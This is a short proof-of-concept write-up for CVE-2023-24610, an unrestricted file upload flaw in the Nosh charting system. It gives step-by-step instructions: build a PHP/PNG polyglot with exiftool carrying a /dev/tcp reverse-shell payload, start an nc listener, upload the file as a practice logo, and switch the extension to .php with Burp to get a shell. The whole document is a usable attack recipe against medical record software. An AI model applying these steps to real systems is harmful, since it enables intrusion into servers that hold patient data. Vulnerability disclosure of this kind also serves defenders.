Exploit for Unrestricted Upload of File with Dangerous Type in Nosh Chartingsystem Project Nosh Chartingsystem

## https://sploitus.com/exploit?id=196F8F3D-65FD-5908-8951-9489836BBE01
# CVE-2023-24610
This is a proof of concept for CVE-2023-24610


We start by creating a polyglot file using exiftool:
exiftool -Comment="/dev/tcp/172.17.0.1/8888 " avatar.png -o polyglot.php

![nosh1](https://user-images.githubusercontent.com/21143253/216094950-2c4e5c40-6ab0-4505-945a-35dfb85a01d0.png)


We change the file to png so it will pass the front-end check

![nosh2](https://user-images.githubusercontent.com/21143253/216095402-2954df75-e7e8-4585-a42c-124691ff02bc.png)


After that, we start a nc listener on port 8888 to receive the shell.

![nosh3](https://user-images.githubusercontent.com/21143253/216095427-24cc5220-ad5b-4c74-bd53-089e87e5084f.png)


Next step is to log to the application and click on setup

![nosh4](https://user-images.githubusercontent.com/21143253/216095442-abb43bb3-dc09-4dc1-8547-5908144a7236.png)


On the bottom of the page, we see a practice logo area. We can upload a file using the edit button on the right side

![nosh5](https://user-images.githubusercontent.com/21143253/216095499-dfb3f3a0-e6ee-4225-abcd-c2f872633355.png)


We click on edit and then click on browse, we select the “.png” file we created on the first step 

![nosh6](https://user-images.githubusercontent.com/21143253/216095515-1b400ad3-c939-4f94-9fd7-b2520c026253.png)


Before we click upload, we make sure we intercept the request with burp or something similar.
We click upload and in burp we change the file extension from “png” to “php”

![nosh7](https://user-images.githubusercontent.com/21143253/216095807-825bf30e-2394-4fe9-bcb1-dcaa5ea1c165.png)


We switch the intercept off so our file gets uploaded and check the nc listener that we started before.
We have a reverse shell and the IP points to our docker container. 

![nosh8](https://user-images.githubusercontent.com/21143253/216095823-3e43151d-547a-4435-9bd8-75de780d3d9d.png)